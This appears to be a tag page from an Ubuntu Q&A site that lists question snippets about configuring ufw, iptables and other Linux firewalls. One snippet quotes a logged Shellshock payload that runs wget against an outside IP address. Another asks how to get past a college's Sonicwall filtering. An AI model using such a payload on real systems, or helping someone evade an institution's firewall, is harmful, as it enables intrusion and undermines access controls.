a technological barrier designed to prevent unauthorized or unwanted communications between computer networks or hosts

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Allowing Longview in UFW firewall; how do these iptable rules translate to UFW-commands?

Linode has some documentation on allowing its product "longview" to go through the firewall. It offers two commands for iptables: iptables -I INPUT -s longview.linode.com -j ACCEPT iptables -I OUTPUT ...
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24 views

How do I configure firewall or proxy setup on Ubuntu 14.04?

I can't access Firefox browser and with Terminal command line problem detected proxy. How I can solve this ? . see screenshot
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1answer
9 views

How do I use Juju local with a firewall?

While using ufw (Uncomplicated FireWall) and I noticed that the local juju machines were stuck in a pending state. $ juju status environment: local machines: "0": agent-state: started ...
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1answer
19 views

dport is not working on iptables command

In terminal I type : iptables -A INPUT --dport 443 -j DROP And it tells me : iptables v1.4.21: unknown option "--dport" what is wrong with --dport?
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18 views

ufw rules don't block deluge

I'm trying to keep deluged on my headless Ubuntu Server 14.04.1 from functioning when the server isn't connected to a VPN (I know many threads exist discussing the best way to accomplish that; I'm not ...
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11 views

Do I need to create a firewall rule after installing Android Studio?

Since I installed Android Studio, I have a new network device: virbr0. My system log files keep telling me ufw rejected an incomming connection (one time per minute) wich is kind of annoying because ...
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32 views

Deluge download speeds too slow

Total noob to Linux and Ubuntu. Dual Booted Ubuntu 14.04 and Windows 8 in my Dell Studio 1558. Everything was working fine until I noticed that my torrent speeds are very less. I tried it again with ...
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1answer
30 views

linux gateway / firewall IPtables config

The KVM host is acting as a gateway / firewall for all of the virtual machine's it runs. It has a /26 public IP space configured on LAN interface em1: 1.1.1.1/26 It has a /30 rfc1918 IP configured on ...
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1answer
21 views

FTP and browser network connection issues in 14.10 Utopic

I have a remotely hosted website. For long I could FTP into it and upload web content, but now when I try, Nautilus tells me after a long waiting time that "oops, something went wrong". Normally I ...
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19 views

Virtualbox server 13.10 port forwarding through router access to static IP/internet

I have an Ubuntu 13.10 server guest setup in Virtualbox (I have a windows8.1 machine). My question is: how to setup port forwarding to access the webpage from the internet. I have disabled the ...
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19 views

Firefox and Chrome Not working even though I am connected [closed]

After recent updates my firefox and chrome browsers stopped working on my computer. I can connect with a Lan line and it works fine. But with the wireless connection it stoped working. The error ...
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11 views

How to config PORT KNOCKING on CSF ubuntu server and access it by linux?

I'm trying to run port knocking work on a CSF on a small VPS, i setup this: 1 - the result of csf first test ok 2 - TCP_IN = "53,80" TCP_OUT = "53,80,113,443" UDP_IN = "53" UDP_OUT = "53,113,123" ...
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25 views

Header file for struct proc_dir_entry

I'm writing a firewall for the Linux kernel and I'm using the proc_dir_entry data structure (which I've found in the tutorial I'm currently reading). My firewall is conceived as a kernel module but ...
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1answer
89 views

apache2 on ubuntu 14 - localhost works but ip doesn't

I've just installed apache2 on my box, along with php5. I can navigate to "localhost" and it works. But I can't access this webserver from another machine... or even locally using the IP address. ...
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31 views

add repository under company firewall

I am trying to add apt repository for evernote on ubuntu 14.04 with company firewall. When I execute sudo add-apt-repository ppa:nvbn-rm/ppa, it stops, no response: rna@rna-P400:~$ sudo ...
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43 views

Why is ip forwarding not working in xubuntu 14?

I upgraded my gateway computer from xubuntu 12 to 14 and the computers on my home network lost their internet connection. I found that the upgrade had uninstalled my old firewall, Firestarter, and ...
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1answer
84 views

Firewall and virus software for Ubuntu 14.10 [duplicate]

I've only used a window operating systems in my life. I just began using Ubuntu 14.10 about a week ago after my old Windows OS was corrupted. Using Ubuntu 14.10, how does change the firewall ...
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17 views

New.! Firewall Daemon (firewalld)

As with the release 1410, i can see that we are able to install firewalld daemon in Debian based systems. As we already know, this firewall works in zone based management system. So basically, before ...
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2answers
42 views

UFW not enabled at startup

I have enabled the UFW in terminal using "sudo ufw enable" ... But, UFW does not appear to start when the computer starts. After the computer starts, I check the status of the UFW using "sudo ufw ...
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1answer
25 views

iptables and expressing your IP address to the rules dynamically

I've been recently spending my time refining my iptable rules to be a little more robust than Ark linuxs Simple stateful firewall to include defense against some other known and nefarious attacks. One ...
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17 views

Using ufw as a firewall between network segments

I've been using Ubuntu server 12.04 as a router and it worked. Now I'm trying to add some security using ufw. I enabled the ipv4-forwarding feature in the configuration file and added a rule ...
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1answer
170 views

UFW is blocking all even when I set rules to allow

I am using an ubuntu server, Now I am trying to enable the firewall using these commands: ufw default deny incoming ufw default allow outgoing ufw allow ssh ufw allow www ufw allow https ufw enable ...
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93 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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37 views

What is missing in my webserver ufw firewall configuration?

sudo ufw enable sudo ufw logging on sudo ufw allow proto tcp from any to any port 9999 sudo ufw allow proto udp from any to any port 9999 sudo ufw allow 80 sudo ufw app apache sudo ufw app OpenSSH ...
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32 views

3.13.0-37-generic basic router repeatable issue - packet loss

I have two desktop PCs and I wish to use them as a simple router between two LAN segments. I am not using NAT, SNAT, DNAT, and all my iptables tables/chains policy are ACCEPT. With iptables wide open ...
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1answer
68 views

Iptables troubles

I used webwin for iptables management and reset the firewall over webmin (to clear out all the old stuff). I also disabled the feature Activate at book. After that I installed iptables-persistent for ...
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1answer
446 views

telnet: Unable to connect to remote host: Network is unreachable

I am not able to connect to gmail with telnet using any of the ports. I am using this command: telnet smtp.gmail.com 25 and it gives following error: Trying 74.125.68.108... Trying ...
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39 views

Make Proxy Server with arno-iptables-firewall

I am trying to configure arno-iptables-firewall to work with transparent squid but no success. browsing is ok using local configured proxy on the computer but can make the arno-iptables-firewall to ...
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14 views

If I turn on the Firewall I cannot connect to the internet

I run GUFW but even on any setting I cannot access the internet if its turned on. Why would this be? I also noticed in the "Listening" box that theres a lot of info going on which I don't understand ...
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12 views

Blocking time in request resources

I have this problem in my Ubuntu server 12.04.4: My page is loading too slow, and watching the NET tab from the firebug I can see many blocking time for all requests. There is some way to ...
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1answer
92 views

using ufw to block outgoing traffic to website

I want to block traffic to a specific domain e.g. mysite.com. I tried blocking the ip address of the site but it does not work: ufw deny from 0.0.0.0 to ip_address_of_site I am still able to acess ...
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1answer
78 views

How do I set up a firewall/iptables using rc.firewall?

I am new to Ubuntu and am having a bit of trouble getting my firewall set up for my Network Security class. We are set up with 3 virtual machines - a Gateway, a Server, and a Client. We are supposed ...
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521 views

UFW for OpenVPN

I want to configure ufw (uncomplicated firewall) for OpenVPN. Connections are only allowed through OpenVPN. Everything else should be blocked. So if OpenVPN is disconnected -> no internet! I found ...
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90 views

how to install mod_security apache2.4

I was looking at my logs yesterday, when I saw a bot roaming folders I have in my robots.txt file. I tried to block it with a rule in my UFW firewall, but this did not keep them out. So then I was ...
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1answer
108 views

ufw not blocking traffic

I have an apache2.4 webserver, and I am trying to block a malicious subnet using ufw. Here is the UFW setup: $ sudo ufw status verbose Status: active Logging: on (low) Default: deny (incoming), ...
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19 views

Multiple rate limits in ufw

I have set two rate limits in ufw: In summary: limit http to 120 requests in 60 seconds; and 600 requests in 600 seconds -A ufw-user-input -p tcp --dport 80 -m state --state NEW -m recent --set -A ...
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1answer
137 views

Whitelist IPs for ufw

I have set some rules in ufw to rate limit connections, as such: -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m recent --set -A ufw-user-input -p tcp --dport 25 -m state --state NEW -m ...
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97 views

Ubuntu Server 14.04: Configuring ConfigServer Security & Firewall for Mediatomb

I am currently have issues with getting Mediatomb to work with CSF on my home network server. I have been able to get the Mediatomb server to work with CSF turned off. My Mediatomb web GUI is set to ...
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39 views

Shows :::18332 instead of 0.0.0.0:8332, what means that?

What means ::: in front of a port (where usually the IP should be) when doing netstat? It shows :::18332 instead of 0.0.0.0:18332 and I can't connect to that port from the outside. This is for ...
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23 views

webstorm website connecting remotely

I am new to Ubuntu and to webstorm so please bare with me if its very basic question. I am trying to connect to the website run by webstorm on Ubuntu from Windows 8.1 PC ...
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33 views

How do I find which OS layer (iptables, rp_filter, etc) is dropping a packet?

Let's say that I'm running a ping towards a machine and I see from tcpdump that the icmp echo reply is being received at the ethernet port but the ping program is not getting it. So I know that ...
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70 views

UFW behind a router blocks traffic from the outside world

I'm seeing [UFW BLOCK] entries in my logs, where SRC=173.194.67.16 DST=192.168.1.2. My box is behind a router, DST is my internal IP, SRC seems to some Google server and I don't understand how is it ...
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187 views

vino-server: local connection works but not remote connection

I would like to remotely take control over ma grandma's PC, where I installed lubundu 14.04.1. This is not a duplicate of this other question (I want to avoid teamviewer + see below). I configured ...
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1answer
80 views

network bridge not forwarding traffic from span port on router

I want to run several security network tools in LXC containers like ntopng, suricata, snort, etc. I hooked one of my server's NIC's up to a port that is spanned to my firewall... so basically this ...
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1answer
45 views

I have some questions about Firewall [closed]

So I am pretty new to Linux (With the exception of Android), and being use to the old ways of Windows pretty much all I had to do for Firewall was turn it on and forget about it. However with Ubuntu ...
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1answer
126 views

Processes in docker cannot connect with ufw enabled

I'm trying to setup a server to use ufw with docker (via dokku.) When ufw is enabled, I cannot open connections from one container to another. When it's disabled, I can connect fine. As an example, I ...
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65 views

Has Ubuntu some firewall activated by default?

Because I can't seem to connect to my ip-cam. And mnap produces alternating results if I use the cams IP address: Nmap scan report for 192.0.0.64 Host is up (0.00079s latency). Not shown: 991 closed ...
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1answer
86 views

How can I tease Sonicwall?

In my college, I can't use the web, because they use Sonicwall network firewalls How can I tease it? For I use all websites in my college? Please see the result when I access a website blocked ...
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74 views

Can't Connect to Apache2 Server From External Device (in LAN) Nor From External IP?

I forwarded ports 80 and 443 for my apache 2 server. However, if I: try connecting to the server via external IP or try connecting to the server from a local device via my local ip, I cannot gain ...
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1answer
329 views

Setting up an Ubuntu Server 14.04 Firewall. Can it Protect multiple pc's on a local network?

I am new to Ubuntu firewalls. I would like to setup an Ubuntu Firewall on computer #1 it can be connected wirelessly or by Ethernet. I have another ubuntu server running on computer #2 and windows 7 ...